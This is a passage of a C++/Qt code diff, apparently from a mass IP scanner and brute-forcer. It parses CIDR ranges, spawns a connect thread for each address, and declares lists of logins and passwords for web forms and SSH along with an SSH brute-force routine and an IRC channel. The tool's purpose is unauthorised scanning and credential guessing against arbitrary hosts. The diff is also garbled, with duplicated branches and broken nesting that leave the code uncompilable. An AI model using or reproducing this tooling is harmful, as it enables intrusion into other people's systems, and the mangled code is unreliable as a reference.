|| (ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0]
&& ipsstartfl[flCounter][1] >= ipsendfl[flCounter][1]
&& ipsstartfl[flCounter][2] >= ipsendfl[flCounter][2]
&& ipsstartfl[flCounter][3] > ipsendfl[flCounter][3]
)
)
{
char tempMsg[64] = {0};
strcpy(tempMsg, "[IP Loader]Error in IP list. Line-> [");
strcat(tempMsg, std::to_string((long double)flCounter).c_str());
strcat(tempMsg, "] String-> [");
strcat(tempMsg, curIPCopy);
strcat(tempMsg, "]");
stt->doEmitionRedFoundData(QString(tempMsg));
return;
};
gTargets += 256*256*256*(ipsendfl[flCounter][0] - ipsstartfl[flCounter][0]);
gTargets += 256*256*(ipsendfl[flCounter][1] - ipsstartfl[flCounter][1]);
gTargets += 256*(ipsendfl[flCounter][2] - ipsstartfl[flCounter][2]);
gTargets += (ipsendfl[flCounter][3] - ipsstartfl[flCounter][3]);
++flCounter;
}
else if(mask >= 16)
else if(strstr(curIP, "/") != NULL)
{
mOctet[0] = 255;
mOctet[1] = 255;
for(int i = 0; i < mask - 16 - 1; ++i)
char *str1;
char *str2;
char res[8] = {0};
int mask = 0;
char *ptr1 = strstr(curIP, "/");
GetOctets(curIP);
mask = atoi(ptr1 + 1);
unsigned char mOctet[4];
mOctet[0] = 1;
mOctet[1] = 1;
mOctet[2] = 1;
mOctet[3] = 1;
if(mask >= 24)
{
mOctet[2] = mOctet[2] << 1;
mOctet[2] |= 1;
mOctet[0] = 255;
mOctet[1] = 255;
mOctet[2] = 255;
for(int i = 0; i < mask - 24 - 1; ++i)
{
mOctet[3] = mOctet[3] << 1;
mOctet[3] |= 1;
};
mOctet[3] = mOctet[3] << 8 - (mask - 24);
}
else if(mask >= 16)
{
mOctet[0] = 255;
mOctet[1] = 255;
for(int i = 0; i < mask - 16 - 1; ++i)
{
mOctet[2] = mOctet[2] << 1;
mOctet[2] |= 1;
};
mOctet[2] = mOctet[2] << 8 - (mask - 16);
mOctet[3] = 0;
}
else if(mask >= 8)
{
mOctet[0] = 255;
for(int i = 0; i < mask - 8 - 1; ++i)
{
mOctet[1] = mOctet[1] << 1;
mOctet[1] |= 1;
};
mOctet[1] = mOctet[1] << 8 - (mask - 8);
mOctet[2] = 0;
mOctet[3] = 0;
}
else
{
for(int i = 0; i < mask - 1; ++i)
{
mOctet[0] = mOctet[0]<< 1;
mOctet[0] |= 1;
};
mOctet[0] = mOctet[0] << 8 - mask;
mOctet[1] = 0;
mOctet[2] = 0;
mOctet[3] = 0;
};
mOctet[2] = mOctet[2] << 8 - (mask - 16);
mOctet[3] = 0;
unsigned char ocRes = 0;
for(int i = 0; i < 4; ++i)
{
ocRes = octet[i]&mOctet[i];
starterIP[flCounter][i] = ocRes;
ipsstartfl[flCounter][i] = ocRes;
if(mOctet[i] == 255) ipsendfl[flCounter][i] = octet[i];
else ipsendfl[flCounter][i] = octet[i]|~mOctet[i];
};
gTargets += pow((float)2, (32 - mask));
++flCounter;
}
else if(mask >= 8)
else if(strstr(curIP, "RESTORE_IMPORT_SESSION") != NULL)
{
mOctet[0] = 255;
for(int i = 0; i < mask - 8 - 1; ++i)
{
mOctet[1] = mOctet[1] << 1;
mOctet[1] |= 1;
};
mOctet[1] = mOctet[1] << 8 - (mask - 8);
mOctet[2] = 0;
mOctet[3] = 0;
///DUMMY///
}
else
{
for(int i = 0; i < mask - 1; ++i)
{
mOctet[0] = mOctet[0]<< 1;
mOctet[0] |= 1;
};
mOctet[0] = mOctet[0] << 8 - mask;
mOctet[1] = 0;
mOctet[2] = 0;
mOctet[3] = 0;
stt->doEmitionRedFoundData("[IP Loader] Wrong list format. String: " + QString(curIP));
};
unsigned char ocRes = 0;
for(int i = 0; i < 4; ++i)
{
ocRes = octet[i]&mOctet[i];
starterIP[flCounter][i] = ocRes;
ipsstartfl[flCounter][i] = ocRes;
if(mOctet[i] == 255) ipsendfl[flCounter][i] = octet[i];
else ipsendfl[flCounter][i] = octet[i]|~mOctet[i];
};
gTargets += pow((float)2, (32 - mask)) - 1;
++flCounter;
}
else if(strstr(curIP, "RESTORE_IMPORT_SESSION") != NULL)
{
///DUMMY///
}
else
{
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[IP Loader] Wrong list format. String: " + QString(curIP));
#pragma endregion
ZeroMemory(curIP, sizeof(curIP));
};
};
gTargets -= 1;
gTargetsOverall = gTargets;
targets = gTargets;
@ -1805,9 +1835,7 @@ void FileLoader(char *str)
}
else
{
#pragma region QTGUI_Area
stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list.");
#pragma endregion
};
};
char *GetCIDRRangeStr(char *str)
@ -2209,10 +2237,6 @@ int startScan(char* args)
overallPorts = 0;
found = 0;
indexIP = 0;
ZeroMemory(starterIP, sizeof(starterIP));
ZeroMemory(ipsstartfl, sizeof(ipsstartfl));
ZeroMemory(ipsendfl, sizeof(ipsendfl));
ZeroMemory(ipsstartfl, sizeof(ipsstartfl));
ZeroMemory(octet, sizeof(octet));
ZeroMemory(ipsstart, sizeof(ipsstart));
ZeroMemory(ipsend, sizeof(ipsend));
@ -2282,18 +2306,19 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
if(globalScanFlag == false) break;
while(ipsstart[0] < 256 && eor0 == 0)
{
if(globalScanFlag == false) break;
if(ipsstart[0] == ipsend[0]) eor0 = 1;
if(globalScanFlag == false) break;
while(ipsstart[1] < 256 && eor1 == 0)
{
if(globalScanFlag == false) break;
if(ipsstart[1] == ipsend[1] && eor0 == 1) eor1 = 1;
if(globalScanFlag == false) break;
while(ipsstart[2] < 256 && eor2 == 0)
{
if(globalScanFlag == false) break;
if(ipsstart[2] == ipsend[2] && eor1 == 1) eor2 = 1;
if(globalScanFlag == false) break;
while(ipsstart[3] < 256 && eor3 == 0)
{
if(globalScanFlag == false) break;
st = new sockstruct();
ZeroMemory(st->argv, sizeof(st->argv));
ZeroMemory(res, sizeof(res));
@ -2313,16 +2338,12 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
strcpy(saveStartIP, res);
targetAndIPWriter(gTargets--, st->argv);
ConInc();
#if defined(WIN32)
if(globalScanFlag) _beginthread( (void(*)(void*))_connect, 0, st );
_beginthread( (void(*)(void*))_connect, 0, st );
#else
if(globalScanFlag)
{
pthread_t thrc;
pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st);
};
pthread_t thrc;
pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st);
#endif
Sleep(gThreadDelay);
++ipsstart[3];
@ -2587,13 +2608,10 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
ConInc();
#if defined(WIN32)
if(globalScanFlag) _beginthread( (void(*)(void*))_connect, 0, st );
_beginthread( (void(*)(void*))_connect, 0, st );
#else
if(globalScanFlag)
{
pthread_t thrc;
pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st );
};
pthread_t thrc;
pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st );
#endif
Sleep(gThreadDelay);
if(ipsstartfl[gC][3] == 255) break;
@ -2627,7 +2645,6 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
#pragma endregion
};
Sleep(gTimeOut + 1);
#pragma region QTGUI_Area
stt->doEmitionYellowFoundData("Stopping threads...");
@ -2676,7 +2693,24 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
delete []sshlpLst;
sshlpLst = NULL;
};
if(ipsstartfl != NULL)
{
for(int i = 0; i < MaxSSHPass; ++i) delete []ipsstartfl[i];
delete []ipsstartfl;
ipsstartfl = NULL;
};
if(ipsendfl != NULL)
{
for(int i = 0; i < MaxSSHPass; ++i) delete []ipsendfl[i];
delete []ipsendfl;
ipsendfl = NULL;
};
if(starterIP != NULL)
{
for(int i = 0; i < MaxSSHPass; ++i) delete []starterIP[i];
delete []starterIP;
starterIP = NULL;
};
#pragma region QTGUI_Area
stt->doEmitionGreenFoundData("Done. Saved: " + QString::number(saved) + "; Alive: " + QString::number(found) + ".");
stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found));

View File

@ -48,8 +48,10 @@ typedef int BOOL;
#endif
#define MAX_ADDR_LEN 128
#define TITLE_MAX_LENGTH 512
#define RECV_MAX_LENGTH 350000
#define TITLE_MAX_SIZE 512
#define RECV_MAX_SIZE 350000
#define REQUEST_MAX_SIZE 4096
#define COOKIE_MAX_SIZE 1024
#define SD_BOTH 2
#define PORTSET "80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21"
#define IRC_CHAN "iskopasi_lab03"
@ -134,12 +136,7 @@ extern int stopGlobalLog;
extern int GlobalNegativeSize;
extern char* thrds, top_level_domain[128];
extern char startM[64], endM[64];
struct workerStruct
{
int id;
bool giveMeMore;
char argv[MAX_ADDR_LEN];
};
extern char **GlobalNegatives;
extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst;
extern int MaxPass, MaxLogin, MaxWFLogin, MaxWFPass, MaxSSHPass;
@ -162,39 +159,36 @@ extern char gFirstDom[128];
extern char gPorts[65536];
extern int gMaxBrutingThreads;
extern int OnLiner;
extern bool __savingBackUpFile;
extern unsigned int importFileSize;
extern int ipsstart[4], ipsend[4],
startNum, endNum, overallPorts, flCounter, octet[4];
extern unsigned char ipsstartfl[8192][4], ipsendfl[8192][4], starterIP[8192][4];
//extern unsigned char ipsstartfl[8192][4], ipsendfl[8192][4], starterIP[8192][4];
extern unsigned char **ipsstartfl, **ipsendfl, **starterIP;
typedef struct ST{
char argv[2048];
char argv[MAX_ADDR_LEN];
}sockstruct;
struct conSTR{
char *lowerBuff;
int size;
};
struct assClSt{
const char *argv2;
};
struct PathStr{
char codepage[32];
char headr[TITLE_MAX_LENGTH];
char headr[TITLE_MAX_SIZE];
char path[1024];
int flag;
int port;
char ip[2048];
char cookie[1024];
char ip[MAX_ADDR_LEN];
char cookie[COOKIE_MAX_SIZE];
};
struct pl{
int loginCounter;
int passCounter;
};
struct lopaStr{
char login[128];
char pass[32];
@ -214,6 +208,7 @@ extern void _SaveBackupToFile();
extern char* __cdecl strstri(char *_Str, const char *_SubStr);
extern char* _getAttribute(char *str, char *attrib);
extern char *_findFirstOcc(char *str, char *delim);
extern int _SSHLobby(char *ip, int port, conSTR *CSTR);
class Lexems
{
public: